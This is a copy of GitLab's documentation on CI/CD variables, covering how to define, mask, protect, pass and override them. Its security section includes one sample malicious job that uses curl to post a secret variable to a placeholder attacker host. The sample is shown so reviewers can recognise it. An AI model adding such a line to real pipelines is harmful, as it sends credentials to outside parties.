GitLab CI/CD variables

Tier: Free, Premium, Ultimate Offering: GitLab.com, Self-managed, GitLab Dedicated

CI/CD variables are a type of environment variable. You can use them to:

  • Control the behavior of jobs and pipelines.
  • Store values you want to re-use.
  • Avoid hard-coding values in your .gitlab-ci.yml file.

You can override variable values for a specific pipeline when you run a pipeline manually, run a manual job, or have them prefilled in manual pipelines.

Variable names are limited by the shell the runner uses to execute scripts. Each shell has its own set of reserved variable names.

To ensure consistent behavior, you should always put variable values in single or double quotes. Variables are internally parsed by the Psych YAML parser, so quoted and unquoted variables might be parsed differently. For example, VAR1: 012345 is interpreted as an octal value, so the value becomes 5349, but VAR1: "012345" is parsed as a string with a value of 012345.

For more information about advanced use of GitLab CI/CD, see 7 advanced GitLab CI workflow hacks shared by GitLab engineers.

Predefined CI/CD variables

GitLab CI/CD makes a set of predefined CI/CD variables available for use in pipeline configuration and job scripts. These variables contain information about the job, pipeline, and other values you might need when the pipeline is triggered or running.

You can use predefined CI/CD variables in your .gitlab-ci.yml without declaring them first. For example:

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

The script in this example outputs The job's stage is 'test'.

Define a CI/CD variable in the .gitlab-ci.yml file

To create a CI/CD variable in the .gitlab-ci.yml file, define the variable and value with the variables keyword.

Variables saved in the .gitlab-ci.yml file are visible to all users with access to the repository, and should store only non-sensitive project configuration. For example, the URL of a database saved in a DATABASE_URL variable. Sensitive variables containing values like secrets or keys should be stored in project settings.

You can use variables in a job or at the top level of the .gitlab-ci.yml file. If the variable is defined:

  • At the top level, it’s globally available and all jobs can use it.
  • In a job, only that job can use it.

For example:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables:
    JOB_VAR: "A job variable"
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

job2:
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

In this example:

  • job1 outputs Variables are 'A global variable' and 'A job variable'
  • job2 outputs Variables are 'A global variable' and ''

Use the value and description keywords to define variables that are prefilled for manually-triggered pipelines.

Skip global variables in a single job

If you don’t want globally defined variables to be available in a job, set variables to {}:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

Define a CI/CD variable in the UI

Sensitive variables like tokens or passwords should be stored in the settings in the UI, not in the .gitlab-ci.yml file. Define CI/CD variables in the UI:

Alternatively, these variables can be added by using the API:

By default, pipelines from forked projects can’t access the CI/CD variables available to the parent project. If you run a merge request pipeline in the parent project for a merge request from a fork, all variables become available to the pipeline.

For a project

History
  • Introduced in GitLab 15.7, projects can define a maximum of 200 CI/CD variables.
  • Updated in GitLab 15.9, projects can define a maximum of 8000 CI/CD variables.

You can add CI/CD variables to a project’s settings.

Prerequisites:

  • You must be a project member with the Maintainer role.

To add or update variables in the project settings:

  1. On the left sidebar, select Search or go to and find your project.
  2. Select Settings > CI/CD.
  3. Expand Variables.
  4. Select Add variable and fill in the details:
    • Key: Must be one line, with no spaces, using only letters, numbers, or _.
    • Value: No limitations.
    • Type: Variable (default) or File.
    • Environment scope: Optional. All (default) (*), a specific environment, or a wildcard environment scope.
    • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or protected tags.
    • Mask variable Optional. If selected, the variable’s Value is masked in job logs. The variable fails to save if the value does not meet the masking requirements.

After you create a variable, you can use it in the pipeline configuration or in job scripts.

For a group

History
  • Introduced in GitLab 15.7, groups can define a maximum of 200 CI/CD variables.
  • Updated in GitLab 15.9, groups can define a maximum of 30000 CI/CD variables.

You can make a CI/CD variable available to all projects in a group.

Prerequisites:

  • You must be a group member with the Owner role.

To add a group variable:

  1. On the left sidebar, select Search or go to and find your group.
  2. Select Settings > CI/CD.
  3. Expand Variables.
  4. Select Add variable and fill in the details:
    • Key: Must be one line, with no spaces, using only letters, numbers, or _.
    • Value: No limitations.
    • Type: Variable (default) or File.
    • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or tags.
    • Mask variable Optional. If selected, the variable’s Value is masked in job logs. The variable fails to save if the value does not meet the masking requirements.

The group variables that are available in a project are listed in the project’s Settings > CI/CD > Variables section. Variables from subgroups are recursively inherited.

Environment scope

Tier: Premium, Ultimate

To set a group CI/CD variable to only be available for certain environments:

  1. On the left sidebar, select Search or go to and find your group.
  2. Select Settings > CI/CD.
  3. Expand Variables.
  4. To the right of the variable, select Edit ().
  5. For Environment scope, select All (default) (*), a specific environment, or a wildcard environment scope.

For an instance

Tier: Free, Premium, Ultimate Offering: Self-managed, GitLab Dedicated

You can make a CI/CD variable available to all projects and groups in a GitLab instance.

Prerequisites:

  • You must have administrator access to the instance.

To add an instance variable:

  1. On the left sidebar, at the bottom, select Admin Area.
  2. Select Settings > CI/CD.
  3. Expand Variables.
  4. Select Add variable and fill in the details:
    • Key: Must be one line, with no spaces, using only letters, numbers, or _.
    • Value: The value is limited to 10,000 characters, but also bounded by any limits in the runner’s operating system.
    • Type: Variable (default) or File.
    • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or tags.
    • Mask variable Optional. If selected, the variable’s Value is not shown in job logs. The variable is not saved if the value does not meet the masking requirements.

CI/CD variable security

Code pushed to the .gitlab-ci.yml file could compromise your variables. Variables could be accidentally exposed in a job log, or maliciously sent to a third party server.

Review all merge requests that introduce changes to the .gitlab-ci.yml file before you:

Review the .gitlab-ci.yml file of imported projects before you add files or run pipelines against them.

The following example shows malicious code in a .gitlab-ci.yml file:

accidental-leak-job:
  script:                                         # Password exposed accidentally
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # Secret exposed maliciously
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

To help reduce the risk of accidentally leaking secrets through scripts like in accidental-leak-job, all variables containing sensitive information should be masked in job logs. You can also limit a variable to protected branches and tags only.

Alternatively, use the GitLab integration with HashiCorp Vault to store and retrieve secrets.

Malicious scripts like in malicious-job must be caught during the review process. Reviewers should never trigger a pipeline when they find code like this, because malicious code can compromise both masked and protected variables.

Variable values are encrypted using aes-256-cbc and stored in the database. This data can only be read and decrypted with a valid secrets file.

Mask a CI/CD variable

caution
Masking a CI/CD variable is not a guaranteed way to prevent malicious users from accessing variable values. The masking feature is “best-effort” and there to help when a variable is accidentally revealed. To make variables more secure, consider using external secrets and file type variables to prevent commands such as env/printenv from printing secret variables.

You can mask a project, group, or instance CI/CD variable so the value of the variable does not display in job logs.

Prerequisites:

To mask a variable:

  1. For the group, project, or in the Admin Area, select Settings > CI/CD.
  2. Expand Variables.
  3. Next to the variable you want to protect, select Edit.
  4. Select the Mask variable checkbox.
  5. Select Update variable.

The method used to mask variables limits what can be included in a masked variable. The value of the variable must:

  • Be a single line.
  • Be 8 characters or longer.
  • Not match the name of an existing predefined or custom CI/CD variable.

Additionally, if variable expansion is enabled, the value can contain only:

  • Characters from the Base64 alphabet (RFC4648).
  • The @, :, ., or ~ characters.

Different versions of GitLab Runner have different masking limitations:

Version Limitations
v14.1.0 and earlier Masking of large secrets (greater than 4 KiB) could potentially be revealed. No sensitive URL parameter masking.
v14.2.0 to v15.3.0 The tail of a large secret (greater than 4 KiB) could potentially be revealed. No sensitive URL parameter masking.
v15.7.0 and later Secrets could be revealed when CI_DEBUG_SERVICES is enabled. For details, read about service container logging.

Protect a CI/CD variable

You can configure a project, group, or instance CI/CD variable to be available only to pipelines that run on protected branches or protected tags.

Merged results pipelines and merge request pipelines do not have access to these variables.

Prerequisites:

To set a variable as protected:

  1. For the project or group, go to Settings > CI/CD.
  2. Expand Variables.
  3. Next to the variable you want to protect, select Edit.
  4. Select the Protect variable checkbox.
  5. Select Update variable.

The variable is available for all subsequent pipelines.

Use file type CI/CD variables

All predefined CI/CD variables and variables defined in the .gitlab-ci.yml file are “variable” type (variable_type of env_var in the API). Variable type variables:

  • Consist of a key and value pair.
  • Are made available in jobs as environment variables, with:
    • The CI/CD variable key as the environment variable name.
    • The CI/CD variable value as the environment variable value.

Project, group, and instance CI/CD variables are “variable” type by default, but can optionally be set as a “file” type (variable_type of file in the API). File type variables:

  • Consist of a key, value, and file.
  • Are made available in jobs as environment variables, with:
    • The CI/CD variable key as the environment variable name.
    • The CI/CD variable value saved to a temporary file.
    • The path to the temporary file as the environment variable value.

Use file type CI/CD variables for tools that need a file as input. The AWS CLI and kubectl are both tools that use File type variables for configuration.

For example, if you are using kubectl with:

  • A variable with a key of KUBE_URL and https://example.com as the value.
  • A file type variable with a key of KUBE_CA_PEM and a certificate as the value.

Pass KUBE_URL as a --server option, which accepts a variable, and pass $KUBE_CA_PEM as a --certificate-authority option, which accepts a path to a file:

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
caution
Be careful when assigning the value of a file variable to another variable in GitLab 15.6 or older. The other variable takes the content of the file as its value, not the path to the file. In GitLab 15.7 and later, this behavior was fixed and the other variable now takes the path to the file as the value.

Use a .gitlab-ci.yml variable as a file type variable

You cannot set a CI/CD variable defined in the .gitlab-ci.yml file as a file type variable. If you have a tool that requires a file path as an input, but you want to use a variable defined in the .gitlab-ci.yml:

  • Run a command that saves the value of the variable in a file.
  • Use that file with your tool.

For example:

variables:
  SITE_URL: "https://gitlab.example.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

Use CI/CD variables in job scripts

All CI/CD variables are set as environment variables in the job’s environment. You can use variables in job scripts with the standard formatting for each environment’s shell.

To access environment variables, use the syntax for your runner executor’s shell.

With Bash, sh and similar

To access environment variables in Bash, sh, and similar shells, prefix the CI/CD variable with ($):

job_name:
  script:
    - echo "$CI_JOB_ID"

With PowerShell

To access variables in a Windows PowerShell environment, including environment variables set by the system, prefix the variable name with $env: or $:

job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH

In some cases environment variables must be surrounded by quotes to expand properly:

job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

With Windows Batch

To access CI/CD variables in Windows Batch, surround the variable with %:

job_name:
  script:
    - echo %CI_JOB_ID%

You can also surround the variable with ! for delayed expansion. Delayed expansion might be needed for variables that contain white spaces or newlines:

job_name:
  script:
    - echo !ERROR_MESSAGE!

In service containers

Service containers can use CI/CD variables, but by default can only access variables saved in the .gitlab-ci.yml file.

Variables set in the GitLab UI by default are not available to service containers. To make a UI-defined variable available in a service container, re-assign it in your .gitlab-ci.yml:

variables:
  SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI

Pass an environment variable to another job

You can create a new environment variables in a job, and pass it to another job in a later stage. These variables cannot be used as CI/CD variables to configure a pipeline, but they can be used in job scripts.

To pass a job-created environment variable to other jobs:

  1. In the job script, save the variable as a .env file.
    • The format of the file must be one variable definition per line.
    • Each line must be formatted as: VARIABLE_NAME=ANY VALUE HERE.
    • Values can be wrapped in quotes, but cannot contain newline characters.
  2. Save the .env file as an artifacts:reports:dotenv artifact.
  3. Jobs in later stages can then use the variable in scripts, unless jobs are configured not to receive dotenv variables.

For example:

build-job:
  stage: build
  script:
    - echo "BUILD_VARIABLE=value_from_build_job" >> build.env
  artifacts:
    reports:
      dotenv: build.env

test-job:
  stage: test
  script:
    - echo "$BUILD_VARIABLE"  # Output is: 'value_from_build_job'

Variables from dotenv reports take precedence over certain types of new variable definitions such as job defined variables.

You can also pass dotenv variables to downstream pipelines

Control which jobs receive dotenv variables

You can use the dependencies or needs keywords to control which jobs receive the dotenv artifacts.

To have no environment variables from a dotenv artifact:

  • Pass an empty dependencies or needs array.
  • Pass needs:artifacts as false.
  • Set needs to only list jobs that do not have a dotenv artifact.

For example:

build-job1:
  stage: build
  script:
    - echo "BUILD_VERSION=v1.0.0" >> build.env
  artifacts:
    reports:
      dotenv: build.env

build-job2:
  stage: build
  needs: []
  script:
    - echo "This job has no dotenv artifacts"

test-job1:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is: 'v1.0.0'
  dependencies:
    - build

test-job2:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is ''
  dependencies: []

test-job3:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is: 'v1.0.0'
  needs:
    - build-job1

test-job4:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is: 'v1.0.0'
  needs:
    job: build-job1
    artifacts: true

test-job5:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is ''
  needs:
    job: build-job1
    artifacts: false

test-job6:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is ''
  needs:
    - build-job2

Pass an environment variable from the script section to another section in the same job

Use $GITLAB_ENV to pass environment variables defined in the script section to another section.

For example:

build-job:
  stage: build
  script:
    - echo "ARCH=$(arch)" >> $GITLAB_ENV
    - touch some-file-$(arch)
  artifacts:
    paths:
      - some-file-$ARCH

To also reference the variable in other stages, write the variable to both the $GITLAB_ENV and .env files:

build-job:
  stage: build
  script:
    - echo "ARCH=$(arch)" | tee >> $GITLAB_ENV build.env
    - touch some-file-$(arch)
  artifacts:
    paths:
      - some-file-$ARCH
    reports:
      dotenv: build.env

release-job:
  stage: release
  script:
    - curl --upload-file some-file-$ARCH "https://example.com/some-file-$ARCH"

Store multiple values in one variable

You cannot create a CI/CD variable that is an array of values, but you can use shell scripting techniques for similar behavior.

For example, you can store multiple values separated by a space in a variable, then loop through the values with a script:

job1:
  variables:
    FOLDERS: src test docs
  script:
    - |
      for FOLDER in $FOLDERS
        do
          echo "The path is root/${FOLDER}"
        done

Use CI/CD variables in other variables

You can use variables inside other variables:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS"'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al'

Use the $ character in CI/CD variables

If you do not want the $ character interpreted as the start of another variable, use $$ instead:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al $TMP_DIR'

Prevent CI/CD variable expansion

History

Expanded variables treat values with the $ character as a reference to another variable. CI/CD variables are expanded by default. To treat variables with a $ character as raw strings, disable variable expansion for the variable

Prerequisites:

To disable variable expansion for the variable:

  1. For the project or group, go to Settings > CI/CD.
  2. Expand Variables.
  3. Next to the variable you want to do not want expanded, select Edit.
  4. Clear the Expand variable checkbox.
  5. Select Update variable.

CI/CD variable precedence

History

You can use CI/CD variables with the same name in different places, but the values can overwrite each other. The type of variable and where they are defined determines which variables take precedence.

The order of precedence for variables is (from highest to lowest):

  1. Scan Execution Policies variables.
  2. Pipeline variables. These variables all have the same precedence:
  3. Project variables.
  4. Group variables. If the same variable name exists in a group and its subgroups, the job uses the value from the closest subgroup. For example, if you have Group > Subgroup 1 > Subgroup 2 > Project, the variable defined in Subgroup 2 takes precedence.
  5. Instance variables.
  6. Variables from dotenv reports.
  7. Variables defined in jobs in the .gitlab-ci.yml file.
  8. Variables defined outside of jobs (globally) in the .gitlab-ci.yml file.
  9. Deployment variables.
  10. Predefined variables.

For example:

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable is '$API_TOKEN'"

In this example, job1 outputs The variable is 'secure' because variables defined in jobs in the .gitlab-ci.yml file have higher precedence than variables defined globally in the .gitlab-ci.yml file.

Override a defined CI/CD variable

You can override the value of a variable, including predefined variables, when you:

You should avoid overriding predefined variables in most cases, as it can cause the pipeline to behave unexpectedly.

Restrict who can override variables

You can limit the ability to override variables to only users with the Maintainer role. When other users try to run a pipeline with overridden variables, they receive the Insufficient permissions to set pipeline variables error message.

Enable this feature by using the projects API to enable the restrict_user_defined_variables setting. The setting is disabled by default.

If you store your CI/CD configurations in a different repository, use this setting for control over the environment the pipeline runs in.

Exporting variables

Scripts executed in separate shell contexts do not share exports, aliases, local function definitions, or any other local shell updates.

This means that if a job fails, variables created by user-defined scripts are not exported.

When runners execute jobs defined in .gitlab-ci.yml:

  • Scripts specified in before_script and the main script are executed together in a single shell context, and are concatenated.
  • Scripts specified in after_script run in a shell context completely separate to the before_script and the specified scripts.

Regardless of the shell the scripts are executed in, the runner output includes:

  • Predefined variables.
  • Variables defined in:
    • Instance, group, or project CI/CD settings.
    • The .gitlab-ci.yml file in the variables: section.
    • The .gitlab-ci.yml file in the secrets: section.
    • The config.toml.

The runner cannot handle manual exports, shell aliases, and functions executed in the body of the script, like export MY_VARIABLE=1.

For example, in the following .gitlab-ci.yml file, the following scripts are defined:

job:
 variables:
   JOB_DEFINED_VARIABLE: "job variable"
 before_script:
   - echo "This is the 'before_script' script"
   - export MY_VARIABLE="variable"
 script:
   - echo "This is the 'script' script"
   - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE's value is ${MY_VARIABLE}"
 after_script:
   - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE's value is ${MY_VARIABLE}"

When the runner executes the job:

  1. before_script is executed:
    1. Prints to the output.
    2. Defines the variable for MY_VARIABLE.
  2. script is executed:
    1. Prints to the output.
    2. Prints the value of JOB_DEFINED_VARIABLE.
    3. Prints the value of CI_COMMIT_SHA.
    4. Prints the value of MY_VARIABLE.
  3. after_script is executed in a new, separate shell context:
    1. Prints to the output.
    2. Prints the value of JOB_DEFINED_VARIABLE.
    3. Prints the value of CI_COMMIT_SHA.
    4. Prints an empty value of MY_VARIABLE. The variable value cannot be detected because after_script is in a separate shell context to before_script.

Troubleshooting

List all variables

You can list all variables available to a script with the export command in Bash or dir env: in PowerShell. This exposes the values of all available variables, which can be a security risk. Masked variables display as [masked].

For example, with Bash:

job_name:
  script:
    - export

Example job log output (truncated):

export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab"
export CI_PROJECT_NAME="gitlab"
export CI_PROJECT_TITLE="GitLab"
...

Enable debug logging

caution
Debug logging can be a serious security risk. The output contains the content of all variables and other secrets available to the job. The output is uploaded to the GitLab server and visible in job logs.

You can use debug logging to help troubleshoot problems with pipeline configuration or job scripts. Debug logging exposes job execution details that are usually hidden by the runner and makes job logs more verbose. It also exposes all variables and secrets available to the job.

Before you enable debug logging, make sure only team members can view job logs. You should also delete job logs with debug output before you make logs public again.

To enable debug logging, set the CI_DEBUG_TRACE variable to true:

job_name:
  variables:
    CI_DEBUG_TRACE: "true"

Example output (truncated):

...
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
  echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
  $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
  $'\''git'\'' "config" "fetch.recurseSubmodules" "false"
  $'\''rm'\'' "-f" ".git/index.lock"
  $'\''git'\'' "clean" "-ffdx"
  $'\''git'\'' "reset" "--hard"
  $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
  $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
++ CI_BUILDS_DIR=/builds
++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ export CI_CONCURRENT_ID=87
++ CI_CONCURRENT_ID=87
++ export CI_CONCURRENT_PROJECT_ID=0
++ CI_CONCURRENT_PROJECT_ID=0
++ export CI_SERVER=yes
++ CI_SERVER=yes
++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
++ echo -n '-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----'
++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ export CI_PIPELINE_ID=52666
++ CI_PIPELINE_ID=52666
++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ export CI_JOB_ID=7046507
++ CI_JOB_ID=7046507
++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
++ CI_REGISTRY_PASSWORD=[MASKED]
++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ export CI_JOB_NAME=debug_trace
++ CI_JOB_NAME=debug_trace
++ export CI_JOB_STAGE=test
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
++ GITLAB_CI=true
++ export CI_SERVER_URL=https://gitlab.com:3000
++ CI_SERVER_URL=https://gitlab.com:3000
++ export CI_SERVER_HOST=gitlab.com
++ CI_SERVER_HOST=gitlab.com
++ export CI_SERVER_PORT=3000
++ CI_SERVER_PORT=3000
++ export CI_SERVER_SHELL_SSH_HOST=gitlab.com
++ CI_SERVER_SHELL_SSH_HOST=gitlab.com
++ export CI_SERVER_SHELL_SSH_PORT=22
++ CI_SERVER_SHELL_SSH_PORT=22
++ export CI_SERVER_PROTOCOL=https
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
++ CI_PROJECT_ID=17893
++ export CI_PROJECT_NAME=ci-debug-trace
++ CI_PROJECT_NAME=ci-debug-trace
...

Access to debug logging

Access to debug logging is restricted to users with at least the Developer role. Users with a lower role cannot see the logs when debug logging is enabled with a variable in:

caution
If you add CI_DEBUG_TRACE as a local variable to runners, debug logs generate and are visible to all users with access to job logs. The permission levels are not checked by the runner, so you should only use the variable in GitLab itself.

Known issues and workarounds

These are some known issues with CI/CD variables, and where applicable, known workarounds.

“argument list too long”

This issue occurs when the combined length of all CI/CD variables defined for a job exceeds the limit imposed by the shell where the job executes. This includes the names and values of pre-defined and user defined variables. This limit is typically referred to as ARG_MAX, and is shell and operating system dependent. This issue also occurs when the content of a single File-type variable exceeds ARG_MAX.

For more information, see issue 392406.

As a workaround you can either:

  • Use File-type CI/CD variables for large environment variables where possible.
  • If a single large variable is larger than ARG_MAX, try using Secure Files, or bring the file to the job through some other mechanism.